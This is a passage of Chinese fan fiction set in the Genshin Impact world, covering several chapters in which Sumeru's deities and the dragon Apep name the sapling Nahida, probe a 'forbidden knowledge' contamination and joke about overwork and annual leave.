大慈树王顿了顿,叹了口气,用无奈的苦笑作为收尾:“由于世界树的特殊性,哪怕是阿佩普也不能轻易进入世界树的区域,更别说是成为世界树的看守者……真是抱歉,我这里没有什么工作 需要阿佩普来帮忙……我会跟阿蒙沟通一下,让他尽量削减一下繁琐的工作任务。” “这种事不要啊!!” 阿佩普整条龙炸起,就连翠绿的身体都变得有些焦黄,急切说道: “布耶尔不懂的,那种小心眼的男人要是听到自己的手下向自家上司和情敌告状的话,非得整死我不可。” “诶?情敌?”大慈树王捂嘴,看上去很是意外,惊讶道,“可是我好像也没有……” 光是看守世界树和整顿雨林就已经让她足够忙碌,眼下须弥尚未彻底安定,她怎么会有闲情逸致去考虑这些虚无缥缈的风花雪月? 等等,真要说她跟哪个魔神走得近的话…… “我听阿佩普说,是娜布来着。” 维尔金的答案帮大慈树王确定了猜测。 “如果是这样的话,阿佩普不用太担心了。”大慈树王松了口气,解释道,“这些供大家随意讨论的谈资大概是阿蒙故意为之,可能就是想跟大家拉近关系,避免大家因为战争中的积怨进一步引发矛盾——你看,就连阿佩普抱怨也只是抱怨阿蒙的恋爱脑和八卦属性,完全没有提及到过往的夙怨……实在不行,我还是跟你想办法安排一个岗位吧。” 大慈树王思索了半分,抬头仰望着自己时时刻刻守护着的世界树,想到了一个办法。 她伸出纤长洁白的双手,轻轻折下世界树前些日子新长出来的枝桠,用纯净的草元素力量包裹着,双手张开,将之放置在三人中间。 “正好,我最近在尝试扦插世界树枝桠留作备份的可能,但不过须弥城和世界树这边总是大事小事不断,一直没能实现。” 大慈树王看向巨龙。 “既然阿佩普想要在我这里工作的话,那么,你愿意成为新生世界树枝桠的保育员吗?” 阿佩普凝视着鲜嫩翠绿的枝桠,磅礴的生命力让草之龙发自内心地雀跃欢呼,体内的元素生命们已经耐不住性子开始蹦蹦跳跳地催促阿佩普答应大慈树王的委托,但惯于口是心非的古龙却还是放不下矜持的架子,端详了好一阵后,才故作平淡地说道: “虽然不是什么很重要的工作,但,为了能够离开阿蒙,我姑且就先接受了。” 说罢,阿佩普的尾巴小心翼翼的凝出一道翠绿的光芒,将小小的树桠从大慈树王手中接过。 “布耶尔,”阿佩普问,“她有名字吗?” 大慈树王微微一笑:“或许,伟大的草木之龙可以替无名无姓的小小世界树取一个名字。” “你从庞大的世界之树中独立生出,你有智慧之神从母树中接生,有天理见证这一过程,有古龙抚育未来,你将会是须弥最尊贵的小主人——”冥冥之中,一种力量促使阿佩普脱口而出: “纳西妲!她就叫做纳西妲!” “纳西妲吗?”大慈树王喃喃,“确实是一个,非常不错的名字呢。” “这个名字很不错。”维尔金说道。 得到天理亲口认可的名字已经成为了世界树的枝桠——也就是纳西妲的所有物。 从这一天起,「纳西妲」出现在了这个世界上。 “看在纳西妲的份上——”大慈树王双手合十,看向连细胞都在欢庆的阿佩普,眨了眨眼: “阿佩普一定要好好跟阿蒙说清楚哦,不要白费了他辛辛苦苦维护大家之间的友情。” “我可不信那个空有武力的家伙会有这么一层考量。”阿佩普在幸福时刻还不忘出言反驳,先不说阿蒙的精神状态能不能支撑他在发病之余想出这样的好办法,单是用谐星化自己来维护下属情谊的方式—— 这还是那个用绝对的武艺征战须弥,并豪爽地让出孤高的王座、许诺三王共治的阿蒙吗? 一定是哪里不对。 阿佩普绞尽脑汁终于想到一个反驳的绝佳理由:"阿蒙喜欢娜布又不是这一两百年的事了,单是开周会写周报确确实实是这几年才有的惯例。" "我猜——"冷不丁,维尔金中断了阿佩普的例证,认真地说道,“阿蒙太过担心你们,又太过寂寞了。” “喂喂喂——须弥可是有三个魔神,要说寂寞也是璃月的摩拉克斯或者风神巴巴托斯来说这种矫情得要命的话吧?”阿佩普翻了个白眼,不屑道,“那家伙可是热衷模拟复刻微型提瓦特沙盘游戏到给我们「七圣柱」这种难绷称号的存在,一想到这种灰暗的历史居然会别记录在须弥的史书流传到人类的世界,我身体里面的元素生命都要呕出来了——” “不一样的。” 维尔金摇了摇头。 “虽然比较苦痛不是我的风格,但是阿蒙和阿佩普你刚刚举例而出的神明是不同的。” “巴巴托斯生来不过是一缕千风,他的戴冠之路充满了友人和回忆,哪怕时过境迁,回忆成为腐烂的枷锁,也有东风之龙相伴相随,与他同心的眷属一样拥有悠长的生命;摩拉克斯……这家伙的簇拥和敌人都够来一次局部地区的小规模魔神战争了,虽然也失去了许多友人,甚至于伙伴,但他麾下的眷属和仙人,也能在未来悠长的岁月,用过往的回忆和长久的生命填补魔神内心的空虚——” “但,阿蒙是做不到的。” “七圣柱中除你之外的六柱王之于阿蒙,比起魔神之于友人和伙伴,更像是君王之于臣下。” “臣下是不会对君王交心坦白的,而君王的一举一动也一定会被臣下多加揣测。” “战争期间的肆意和畅快终究只是过眼云烟,在尘世七执政角逐出人选之后,安稳与和平才是肉眼可见的未来。但就算战争结束,臣下也不可能成为君王的朋友,就算阿蒙愿意,他们也不会容许自己僭越这份在长远的战争和追随中已经成为不可逾越之鸿沟的阶级。” “唯一的办法是,将那个杀伐果断、征战四方、强大肆意的阿蒙的固有印象淡化,让这个印象随着历史的记录成为遥远的过去——” 维尔金顿了顿,言语中显然十分满意这位下属的做法。 “他在重塑自己的身份,而且目前看来,效果不错。” “我不是那种会因为神明一言两语可怜兮兮的谎话就放弃原则的龙,再说,他又不是只有七圣柱——等等……好吧,大慈树王镇守世界树不可随意离开,花神娜布,听你们的意思是,状态似乎不怎么样?” 大慈树王看向维尔金,确认了这部分内容无须掩饰后,言简意赅道:“他们二人早在天空岛时就互相认识,比起爱情这种不可触碰的现实,他们的灵魂其实才是拥有共同的道标。” “他们两个又背着我约定了什么?”维尔金挑眉,看向大慈树王,“还是说,在我睡觉的时候,又发生了什么我不知道的事情吗?” “您忘了吗?”大慈树王的脸上带了些疑惑,但也没有多加纠结,直言道:“就是异星擦破虚假之天、不小心暴露了天空本相那次——” “娜布不小心注视到了真实的天空。” 第82章 第 82 章 法涅斯的临别之言 吹开盘桓于花茶上的热气, 纤长优雅的双手环住花纹精致反复的茶具,随即缓缓饮下。 “好久不见,阿蒙。” 放下茶杯, 娜布·玛莉卡塔念出陡然出现的同事真名。 被花之女主人唤以真名的魔神停驻于被蒙上双眼的魔神身后, 俯下身, 环拥住端坐在王位上的娜布, 沉默了半晌后, 才缓缓问道: “最近,还好吗?” “还不错。” 娜布挥挥手,桌面上又出现了一套相比起她手中花纹更显得庄重的茶具,为远道而来的赤沙之王满上一杯新鲜的花茶。 娜布歪头:“试试?” 阿蒙一饮而尽,眉毛皱成一团, 忍不住挑眉:“没有味道。” “这个没有办法。没有时间的流动,将一切停驻在最美好的刹那,其结果便是空有外表而不具内涵……没有时间的净土留不住珍馐美味, 只能用这些虚假的幻像来招待你了。”娜布轻轻笑道, “虽然说用天钉的力量将此处的时空禁锢在了最美好的那一刹那,但是这里的花朵们早就死去了,只剩下一副空壳供我们观赏。” 沉默了半晌, 阿蒙收紧了环住花之女主人雪白脖颈的双臂, 赤沙的王身子下压, 头也埋进娜布雪白的脖颈。 “抱歉。” “别这样, 阿蒙。不要包揽不在自己职权范围内的责任, 更不要心怀愧疚。不用工作,不用操心政务和文书,还有你和布耶尔时不时来看我……” 娜布仰起头,想象着静止的蓝白色晴天, “如果连这都不算好的话,那作为须弥执政还在辛苦工作的大家只能用饱受痛苦来形容了吧?说点别的吧,最近忙吗?有什么是现在的我可以帮忙的吗?” 阿蒙本能地想否认,转念一想,他干脆直接道明自己的来意: “我来是想告诉你,维系者前不久发布了紧急公告,禁忌知识在地底卷土重来了。” 娜布闻言神色陡然紧张起来:“怎么回事?布耶尔知道吗?” 阿蒙摇了摇头:“她最近都在忙世界树的事情,我还没有来得及通知,但我猜测,这会维尔金大人应该会去检查世界树状况。所以不出意外,布耶尔现在知道的东西应该比我们更多。” 娜布的脸色极为难看。 作为魔神兼须弥执政官之一,她同样知晓天理亲自下界意味着什么—— “维系者受伤了吗?” “不清楚,总归不是什么好事。” “这下维尔金大人亲自醒来……”娜布缓缓叹了口气,望向自己现如今根本看不见的静止天空,话里话外却透露着一股难以言明的解脱感: “我们……我的问题,恐怕也瞒不住了。” 比起旁人,直面禁忌知识那股恐怖扭曲力量的娜布清楚禁忌知识的麻烦之处。 禁忌知识的本质上是不属于提瓦特、来自星空的知识。知识本身纯洁无害,但这份知识就连魔神也扛不住。 花神娜布·玛莉卡塔的亲身经验便是最好的例子。 在直视到漂浮在提瓦特之外的、介于残骸和某中活物肢体的某物时,无法言明的、比提瓦特存在时间还要更加久远的知识一股脑的通过眼神的对视进入到娜布的脑海中。 和远古宇宙的亿万年知识相比,就连魔神的意识也不过是汹涌奔流中的一片浮萍,融入大海的无根之水。要不是裂缝及时合上,布耶尔和阿蒙及时切断了她的意识,她的身体恐怕已经被星空外来的无名意识所占领—— 至今,娜布仍心有余悸。 那一瞬间,就连她都不免迷失自我。 她不敢想,若是放任这股力量流入须弥、进入人类的世界,他们为止呕心沥血的国度究竟会变成一副怎样的人间地狱。 “不要想了。” 阿蒙不着痕迹地掐灭突然冒出来的紫罗兰色触须,低声安慰: “维尔金大人一定会有办法的。” 娜布不清楚阿蒙这番话究竟是在安慰她还是在安慰自己,她只能用沉默代替回答。 “真是可怕的污染性,居连时隔千年的回忆也能对现实造成影响……” “把永恒绿洲封印起来吧,阿蒙,现在的我跟禁忌知识没什么两样……说不定就连保住了我的意识,也是禁忌知识故意为之。” 娜布听见自己说道—— “你们应该放弃我。” 虽然很不舍,但是娜布清楚地知道,自己已经成为了三神中的累赘。 “封印永恒绿洲,然后毁掉我存在的痕迹,最后……忘了我。” 娜布闭上眼,徒留身后魔神的吐息环绕在耳边。 短暂的沉默后,突兀又熟悉的声音突然插入两位魔神间的对话: “你们两个是在这里表演什么苦情戏吗?” 阿蒙和娜布如梦初醒。 “维尔金大人。” 阿蒙率先行礼,娜布无法回头,只能低头聊表敬意。 “行礼什么的就免了。”维尔金撕开空间裂缝,环视了一番永恒绿洲后,将实现投射到背对他的娜布、以及在娜布身后,屈膝敬礼的阿蒙—— “娜布现在是个什么状况?” “——硬要说的话,介于一种过于稳定的平衡之中。”随后急匆匆赶来的布耶尔关上空间裂缝,解答道: “禁忌知识的活性无法被物理阻断,哪怕在第一时间就清除了源头和污染物,禁忌知识仍在娜布的脑海里扎根幸存。” “幸运的是,因为当初清除得足够及时,目前禁忌知识被压制得几乎没有传染性,唯一的传染窗口也只有一个——” “我的眼睛。” 娜布续上布耶尔的未尽之言,指着遮挡住自己眼睛的丝绸,解释道,“一旦与我的眼睛对视,禁忌知识就可以借由视线开始传播。” 维尔金若有所思:“这么说来,当初这个禁忌知识之所以会污染你,也是因为裂缝出现的一瞬间不小心跟它对视了吧?” “很奇怪。” 维尔金评价道: “禁忌知识的传染性不用我多说,隔着八百里远望一眼都能够被感染上,更别说是你跟阿蒙这样亲密的□□接触。” 阿蒙语气古怪:“大人,我们就是偶尔聊个天……” “反正都差不多,无所谓啦。” 维尔金满不在乎地摆了摆手,“问题的重点是,为什么聊天的阿蒙没有事?” “因为娜布遮住了眼睛?”阿蒙猜测。 “不。” “因为它只能通过对视这种方式传染——” 维尔金笃定道。 须弥三魔神同时瞪大眼:“诶?” “我终于知道为什么总觉得哪里不对,但是一直又说不上来了。” “和深渊地底的实体污秽那种直接接触到污秽而造成的污染不同,禁忌知识的污染总是跟「书」有关。” 维尔金顿了顿,眼神凝重。 “不,准确地来说,是跟「看」这一行为有关。” 无论是白夜国的罪人在深渊和星空的蛊惑下写出并阅读了蕴藏有禁忌知识和深渊双重污染的书籍,还是先前在净善宫那个想要逃跑的人类因为瞥了眼了星空之外的存在而发生不可逆转的变异,亦或是娜布这样因为对视而被污染的魔神,他们被污染的途径,本质上居然是一样的。 “因为看见了禁忌知识的存在,所以脑海中会倒映出他们的本体画面,于是禁忌知识便能寄生其中。” “我过于专注物理上的隔绝,没想到……禁忌知识的传播方式跟深渊的污秽完全相反。” 阿蒙就站在娜布身边都不会受到影响,而天空岛边缘碎裂、娜布当时隔了至少有半个天空岛的距离都能被污染。 “所以抹去世界树的记录才能够从源头上扼杀深渊——因为世界树会自动记录下世界上发生的一切,所以禁忌知识才如此的顽固不化。” “那这样的话,岂不是只有抹去被污染的存在才能彻底清除禁忌知识?” “也就是说,只要把我抹去……” “没用的。” 维尔金否决了花神的提议。 “要问为什么的话——” “我已经试过一次了。” 就算能够改变被污染的过去,但事实证明,命运依旧在无形的指引之中,朝着既定的方向缓慢而又不可阻挡地前行。 被扼杀掉的灾难会悄无声息地在另一处隐秘的角落生根发芽。 禁忌知识和深渊污秽,如同跗骨之蛆,哪怕在提瓦特诞生之初便将之清除殆尽,也无法改变其一定会污染这个美丽世界的既定命运…… —— 等等! 法涅斯的临别之言在维尔金心中破土而出? “灾难有二,与之对应,奇迹有二。” 须弥的三位神明看向像是突然想到了什么的上司。 维尔金顾不上三神的异样,只是不住地喃喃: “其一为「身」。天空拥有形体,影子拱卫天空。树根连接血管,大地融入骸骨,死亡即是永生。” “其二为「理」。开端即是终焉,时间一无所有,命运往复循环,死生皆为虚妄,谜底即在谜面。” 前半则关于「身」的预言很好理解。 拥有形体的天空就是指作为虚假之天的维尔金拥有身体、四影执政辅佐天空岛政权。世界树连接着提瓦特地表的所有地脉,并且由于地脉的力量随着时间流逝而不断消散,需要用长生种的血肉孕养。 “死亡即是永生”这句话虽然意味不明,但综合提瓦特目前的现状,维尔金将之套用在魔神战争败者在暗之外海的结局上——战败者只要有哪怕一丝灵魂能够逃至暗之外海,都能够在那里苟活。 上半则的预言大差不差,可后半则预言,维尔金一直无法确认法涅斯想要表达的真实含义。 但是现在…… 身处在时间完全静止的永恒绿洲,维尔金闭上眼。 他想,他应该已经能够确认法涅斯所给的下半则预言里的真正含义了。 第83章 第 83 章 悲报:大慈树王年假即将…… “那两则预言……” “是法涅斯大人的遗言没错。”布耶尔点点头, 算是回答了阿蒙的问题。 作为魔神中的一份子,阿蒙自然也知道这两则自悠远的亘古流传至今的预言,在过去, 天空岛上下所有魔神和种族几乎一致认为, 后半则遗言是原初之神对新生提瓦特的一个诠释。 不过现在看来, 事实并非如此。 赤沙的王眉头紧皱:“可是关于「理」的谶言不是一直被大家认为是关于「天理」这一存在的阐述吗?怎么会突然跟禁忌知识有关, 难道……” “那些细枝末节不需要理会。” 维尔金看向显然已经有了别的心思的阿蒙, 对于这个在重置之前有过研究禁忌知识历史的须弥执政官,维尔金毫不怀疑阿蒙高超的即时行动力。 “只需要知道法涅斯最后的两则预言是关于深渊的污秽和禁忌知识即可。” “我曾经思考过无数次关于下半则预言的真意——” 开端即是终焉,时间一无所有,命运往复循环,死生皆为虚妄, 谜底即在谜面。 维尔金站在娜布的身旁,俯视着被蒙住双眼的花之女主人。 他伸出手,将一部分维系空间的元素力量从偌大的永恒绿洲中抽离。被抽取出力量的空间开始迅速坍塌腐败, 停滞住的时间加速涌向静止的木桌, 流动时间的那一半开始迅速腐烂变质、生出蛆虫;而另一半暂停住的部分依旧完好如初。 就在同一时间,维尔金扯下了娜布的眼罩—— 维尔金按住花神的肩膀,大声喝道:“娜布, 睁开眼!” 花神没有犹豫, 听到维尔金命令的一瞬间陡然睁开双目。 刺眼的白光乍然进入久久不曾看见光明世界的瞳孔, 娜布反射性地想要闭上眼。 “可以了。”维尔金重新将遮住花神双目的丝绸系紧, 对站在一旁如临大敌神经紧绷的阿蒙以及按住同事的大慈树王说道: “看吧, 跟我想的一样——禁忌知识无法在跨过静止的时间……一旦进入到提瓦特内部、通过生物的视线转化为实实在在的实体之后,禁忌知识甚至会受制于来自时间的磨损。” 什么?!! 大慈树王和赤沙之王齐齐看向方才被娜布注视的木桌,惊骇地发现,一条宛如分界线的触手残躯出现在了木桌腐烂的一侧。 而另一边时间静止的地方完好如初。 “我从来没见过这种只腐化一半的情况。”布耶尔不禁喃喃, 她看向自己的同僚赤沙之王,后者的眼里同样写满震惊。 “这不应该。”阿蒙脱口而出,“以禁忌知识的污染能力,不可能出现单一物质只被污染覆盖一半的情况!” “显然我们错误估计了禁忌知识的本质。”维尔金用力量圈住木桌,说道,“以往,我们认为从遥远星空中漂荡过来的禁忌知识的残肢是世界之外的产物,但是刚刚那张只被腐化一半的木桌验证了一个事实——” 用以维系永恒绿洲存在的力量来自于天钉。 而天钉的力量来自于维尔金的本体,即笼罩在提瓦特世界上方的蛋壳。 天钉能够净化深渊的污秽是因为污秽来源于裂成两半的蛋壳伤口处的脓疮,所以深渊污秽虽然连绵不绝,却非常容易净化。 没有犹豫,维尔金用力量隔绝污染,直接上手捉住还在蠕动挣扎的、宛若外星物种的蛆虫。 这一次,他可是专门控制了力道,让逸散出来的纯粹净化力量无法对它造成实际的伤害。 那只紫黑色的蛆虫似乎意识到自己的死亡即将来临,奋不顾身地扭动,试图通过吸引维尔金的注视从视线中逃离这次净化—— 只可惜,面对三位魔神加上天理,不管如何挣扎都不过是无用功而已。 手上的蛆虫开始融化。 虽然过程很慢,但是从手上粘稠的触感以及渐渐收缩的间距来看,用以净化深渊污秽的力量对禁忌知识同样有效。 “原来是这样。” 维尔金已经完全明白了。 “法涅斯留下的关于「理」的谶言的确是关于天理,但不是关于「我」,而是关于提瓦特从原初起就存在的、在当时我尚不明了的既定规则。” “时间一无所有……应该指的就是磨损。” “可是这跟禁忌知识的关系似乎并不大。”大慈树王迟疑。 “不对。” 阿蒙低沉着眸子:“提瓦特的规则只会对提瓦特的本土物种造成影响——” 尤其是磨损。 这一悬浮在所有长生种头顶的达摩克利斯之剑只会对提瓦特的种族产生影响——因此,维系者才需要日日夜夜看守天空周边的裂缝,以防止降临者的侵扰。 再怎么强大的长生种也会在磨损的冲刷下渐渐失去理性和知性,但来自世界之外的降临者们不在此列。 而被维尔金逼出娜布体外、附着在木桌上有了身形的禁忌知识,居然会受到来自时间磨损以及克制深渊污秽的天钉的影响—— “也就是说,禁忌知识的存在和深渊污秽一样,同样来源于提瓦特本身,而非是我们原先所认为的星空污染。” 维尔金重重地叹了口气。 ……怎么说呢,有一种大扫除追着蟑螂打结果发现蟑螂窝在自家床底的痛苦感。 智慧的神明神色依旧不明朗,她忧心忡忡道:“还有一点非常奇怪……为什么我们一直没有发现这一点?” 的确,相较于深渊的污秽,来自星空的禁忌知识从裂缝中钻进来的可能性更低。但也不是完全没有。 再者,娜布被污染的时间已有千年不止。这期间她和阿蒙用尽了他们能想到的所有办法,天钉净化的力量和时间流动的力量早在几百年前就试过了,可当时完全没有起到作用。 最后,是在他们几乎快要绝望的时候,在阿佩普的提议下,创造了一个没有时间概念的特殊空间,才使得禁忌知识的污染彻底稳定下来。 如果禁忌知识像深渊污秽一样好解决,他们怎么会受限至此? ——关于这个问题的答案,哪怕是维尔金也无法解答。 “和深渊的污秽相比,禁忌知识的样本过于稀缺了。” 维尔金不得不承认,由于尼伯龙根掀起的战火,禁忌知识在提瓦特早就成为了大部分提瓦特人讳莫如深的存在。重置后的世界阿佩普没有试图钻研禁忌知识谋求复兴尼伯龙根,阿蒙也还尚未在娜布拼着最后一口气撕开裂缝试图研究禁忌知识的本质时放出潘多拉的魔盒,让禁忌知识的力量浸染了须弥、乃至污染世界树,除开地底的白夜国和地上的纳塔,禁忌知识的存在感显然不如深渊的污秽来的扎眼。 “总而言之,晚点我会重新更新一下工作手册关于禁忌知识的部分,就按照娜布这边的操作流程,在研究出究竟哪个才是让禁忌知识做到能够被天钉净化之前,一个步骤都不能少。” “……需要包括时间静止这一个步骤吗?” 维尔金毫不犹豫地点了点头。 “非常需要。” 说不定还就是因为时间静止才导致原本没有实体、不受天钉净化力量影响的禁忌知识变质才能够净化。 “总而言之,先按操作手册来吧。” “是。” “关于法涅斯大人遗留的下半则遗言的剩余部分……” “完全没有任何思路。” 维尔金两手一摊,“说实在的,要不是你们弄出来一个时间完全静止的独立空间,我也根本想不起来这一茬。” 大慈树王:好,好直接。 “所以,我最最最可靠的下属,世界树的守卫者,象征着智慧的魔神,看起来非常善解人意实际上也乐于为上司排忧解难的执政官——” 布耶尔顿感大事不妙。 娜布想要说点什么挽救一下好同事那肉眼可见岌岌可危的加班修罗场,但是被阿蒙捂住了嘴。 ——娜布你现在最重要的事请是收假复工和相信布耶尔。阿蒙如是说。 等不到公道话的布耶尔听到了新鲜的工作任务。 她那醒来第一件事情就是来须弥视察的上司面带微笑,轻飘飘地给本就约莫有一千五百年没休年假的自己又布置了一个艰巨的长期任务—— “反正现在娜布也好起来了,就把手头上看守世界树的部分任务和须弥的日常工作甩给,啊不,交接给娜布吧。” “要好好解析法涅斯留下来的话哦,布耶尔。” 大慈树王麻木地看着微笑布置完任务后,挥一挥衣袖不带走一片云彩的上司,扭头看向浑然不顾自己死活的同事—— 到底是谁说这两个家伙之间是纯纯的暗恋啊!?装死逃避工作的时候怎么就她变成了局外人? 谣言害人不浅。 好脾气的大慈树王深吸一口气: “你们两个!” ——居然就放任她独自面对维尔金大人! 本质上是在跟娜布一起逃避工作任务的阿蒙不动声色地收回手,自觉理亏的娜布也不好意思地干咳两声。 不是他们不想分担任务,实在是法涅斯大人的遗言这种东西……就很抽象。 ——连作为半身的维尔金都搞不明白的存在,他们这群局外人怎么能够分析明白? 所以说,维尔金交给布耶尔的表面上只是一个长期任务,但实际上,完全就是一个悬而未决数千年的大难题。 做不出成果,还影响日常工作的那种。 “放心好了布耶尔,安心研究预言——”阿蒙指了指自己和娜布,“须弥和世界树,就放心交给我们两个就好。” “相信我,”娜布看向形如缺水枯树的变得惨白惨白的姐妹,心疼道“我感觉我现在可以一鼓作气看完全须弥的地脉之花报告!” “阿蒙,娜布。” 大慈树王看向自己的同僚,深吸一口气,期待地说道: “这些都不用——我只想先休个年假,我这里还有10年的年假马上就要过期了。” “不行,有难同当。我这还剩15年余额的年假也没空休,你休我也要休。”这是义正言辞的赤王大人。 “不可以哦,你们两个一起休年假的话,我还是去死好了。”这是微笑着的花神大人—— 作者有话说:关于天空岛—— 魔神们的年假都是真?年假 第84章 第 84 章 外包员工喜提领导提拔(…… “哇哦, 这不是我们已有千年不理政事的花神大人吗?” 阿佩普斜着眼睛,瞥了眼站在自己身前的花之女主人,随后又将目光转移回沉睡的纳西妲, 轻轻地将纷落的世界树叶片从新生神灵的脸颊扫开。 “什么事?布耶尔不在。” 伟大的草之龙只是有一点点好奇能让阿蒙那种东西魂牵梦绕的花神, 究竟得拥有多么强大的魅力罢了。 ——也就那样, 跟大部分魔神没什么不同。 被来自于草之龙居高临下的视线打量的娜布微像是全然没有被不知礼的草龙冒犯。花之女主人只是看着眼睛里好奇大于打量性质的眼神就大概知道阿佩普在想些什么。虽然她们并未正式见过几次面, 但就这短短几句交流, 娜布已然确定了阿佩普的性格特点—— 对魔神没什么敬畏之心,但也安于接受天空岛的统治。 确认了这一点之后,娜布才真正放下戒备之心。 而接手了养育世界树枝桠一职的阿佩普对此一无所知,她对花之女主人的大部分印象来源于阿蒙每周例会的侧面描述。在阿蒙连年的摧残之下,阿佩普已经对娜布本人和那些莫名其妙的故事毫无兴趣, 若不是后者突然闯入世界树的领域,再过几千年,一龙一神也不会有什么交集。 “好久不见, 总而言之先说正事——有一个好消息和一个坏消息。” 娜布深吸口气, 在来之前,布耶尔还刻意提醒过她,尽量不要刺激到这位虽然说是合同工但实力近乎与魔神们无异、甚至比某些弱小如盐神的魔神更为强大的古龙—— “阿佩普对阿蒙的一些行为比较抗拒, 甚至可以算是不满……不过我觉得阿蒙必须得承担一部分责任, 对于长生种而言, 每周开一次例会的规矩实在是太违背本能了。” 决定让阿佩普暂代自己的工作后大慈树王尽可能委婉地对自己的同事解释, 毕竟, 不是每一个长生种都跟他们一样,愿意为了工作牺牲宝贵的睡眠。 阿蒙本人却相当不以为意。 “长生种们不睡觉也不会死,工作当然就要一直工作下去,半途而废每周睡一次觉算什么?虽然我搞不懂维尔金大人宁可把阿佩普分包给我们仨也不打算给枫丹海域找个帮手是什么思路, 但既然是交给须弥的天空岛外包龙,就应该严格遵照维系者和派蒙设定地工作日程,非必要不睡觉啊!” 说完,意犹未尽的阿蒙还不忘寻求另一位同僚的认可:“布耶尔就是太过心软,外包不用来干活用来当吉祥物吗?” 休了几千年病假且一直没干活导致已经快成为吉祥物的花之女主人:“阿蒙,你还是先别说话了。” 被赤沙之王盖上过分心软标签的大慈树王心一梗:“我觉得维尔金大人的本意应该只是为了容纳投诚的长生种吧……” “那又如何?”阿蒙两手一摊,“总而言之,现在外包员工发挥作用的时候到了。” “——布耶尔,你也不想眼睁睁地看着自己的年假过期吧?” 赤沙之王的每一个字都为已经忙碌得忘了时间的大慈树王敲响警钟。 ——抱歉了,阿佩普。 布耶尔在心底默默双手合十,为一无所知的草之龙祈祷完之后,从衣袖口抽出一本看上去跟砖头差不多大小的书本,郑重其事地放在状况外的娜布手上: “拜托你了娜布,世界树、雨林还有阿佩普就交给你了!” 阿蒙提醒:“也别忘了沙漠,阿佩普知道流程,晚点我给七圣柱发通知……嘶,阿佩普调岗的话还能继续当我的龙之王吗?” “等等,你们两个不会是都想休假吧?” 花之女主人如梦初醒,颤颤巍巍的指向被戳穿心思的同僚,又指向自己—— “我一个人管须弥、世界树和阿佩普?真的假的?” “我还有十五年的年假余额。”阿蒙师出有名,摊手做无可奈何状,“之前维系者就催过一次了,年假不休完她那边会很难办。” “那布耶尔……” “没事的娜布,”布耶尔客观冷静的为同僚分析一番后,安慰道,“我只休十年,很快就回来。再说,不是还有阿佩普吗?” 阿佩普啊…… 娜布头疼地看着没说几句话又跑回去奶纳西妲的草之龙。 阿佩普……毕竟是前龙王,区区雨林和世界树,应该问题不大。 尚不知身后正在头脑风暴的花之女主人在纠结什么,阿佩普将由于刚刚才脱离世界树,力量尚未完全觉醒的纳西妲轻轻托在世界树最粗壮的分叉点,龙尾上的绒须轻轻拂过新芽稚嫩的面庞。 太糟糕了,娜布想,阿佩普不会是实践派的吧?这怎么看都不像是很擅长文书工作的样子。 安顿好纳西妲后,阿佩普整理一番被打扰的坏心情,不抱希望地说道:“好了,我要先听坏消息。” “坏消息就是,阿蒙和布耶尔要休假了。” “这不是好消息吗?” 积攒了一肚子火气的阿佩普“呸”了一声,趁着当事人不在,恶狠狠道,“阿蒙这碍事的混账终于能够滚出我的世界了……这个王八蛋,自己不休息还碍着别人睡觉。而且布耶尔忙了这么久,休假也是应该的。这算什么坏消息?” 娜布顿了顿,认真地从上到下看了一遍阿佩普,直到后者的鳞片都要因为这种不知为何充满了“怜悯”意味的视线而扎鳞时,花之女主人终于开口: “那个,阿佩普,你说有没有一种可能……阿蒙和布耶尔休假不等于他们的工作不用有人来顶上呢?” 阿佩普:? 这又是什么意思?难不成离了阿蒙和布耶尔,偌大个须弥会直接垮掉吗? 阿佩普翻了个巨大的白眼以表尊重,娜布则重重叹了一口气。 她早该想到的,阿佩普根本不知道世界上从来没有无缘无故的假期,只能认命地解释道:“意思是,他们俩的工作得由我们来完成了。” 阿佩普倒吸一口凉气:“那这个消息确实够坏的——好消息呢?” “好消息是,因为布耶尔的主要工作是看护世界树,而维护并定期检查世界树需要有天空岛编制,维系者和维尔金大人才可以授权进行操作,所以……” 娜布双手捧着从布耶尔那里拿到的堪比砖头的世界树基本操作流程,真情实意地祝贺道: “阿佩普女士,综合须弥主管领导之一阿蒙的推荐,经过三王联手表决投票,现正式通知您——” “恭喜,你升职了。” 阿佩普如晴天霹雳:“啊?不是,这才是彻彻底底的坏消息啊!!在维系者发通知之前我一个字都不会相信的!” 在阿佩普还不是须弥地区限定外包龙时,就曾经顺着战场的硝烟和薪火听说过时间之魔神惨无人道的左右眼轮流睡觉理论。俗话说得好,职级越低责任越小,阿蒙的会议纪要和文书她还能偷懒让身上的元素生物们替她干完,但是一旦升职加薪…… 一想到连睡觉都将成为奢望阴暗未来,阿佩普只希望能够突然蹦出一个不愿意透露姓名的深渊污秽能送她一个病假。 “可以撤回升职吗?”阿佩普试图挣扎一下,满怀希翼地向花之女主人投向求救的目光:“拜托了娜布,我什么都愿意做的。” 花之女主人摇了摇头。 “维系者正在走流程。原则上是不允许变更外包同事合同,但不过好在阿蒙创造性地提出了一个魔神专职助理(非正编)的岗位后,布耶尔那边才能给你开通了世界树的部分编辑和转发权限——布耶尔不在的这段时间,她的工作都交给你了。也不是很难,主要是负责世界树的事务,剩下的日常工作汇报和地脉之花记录,以及阿蒙平日负责的工作就由我来接手。” “也就是说,我从一条普普通通可以摸鱼的外包龙变成了仅次于你们仨的外包龙?” 娜布礼貌更正:“事实上,你的职务一直都仅次于我们仨,而且这次虽然职级提升,但是因为不是天空岛正式编制,所以依旧不能够偷吃地脉力量哦。” 阿佩普炸鳞:“不就是什么都没变??只是要干的活变多了而已?!” “其实不止。”娜布微微一笑,恶趣味地戳破外包龙最后一丝丝幻想。 “不光要干的活变多了,要担的责任也变多了。” 阿佩普两眼一黑,看不见一丝未来生活的希望。 ——明明好不容易才从那个该死的阿蒙手底下调走,怎么天理一来布耶尔也跟着发疯? 所以当初,她到底为什么会答应这种该死的苦差事?当时她就是看着须弥神多,再怎么轮也铁定轮不到她来干活,又看布耶尔合她眼缘才来的。 为什么……明明好不容易从阿蒙手底下转岗,又好不容易获得了一个自己喜欢的闲差,明明只要带孩子就好了……为什么非要一起请假? 早知道是这个结果,还不如陪尼伯龙根烂在星空。 “所以为什么不能分开休?” 阿佩普质问:“一个两个都不通一丁点人性吗?” “因为我个人的一些原因……导致他们的年假再不休就要过期了……稍微理解一下吧。”提起原因,娜布也有些心虚。可怜的外包龙连精心呵护的鳞片都变得黯淡了许多,娜布纠结了一会,咬咬牙心一横,设下一个结界,悄悄地把一个怀表样式的东西递给还处在混沌状态的阿佩普,小声嘱咐: 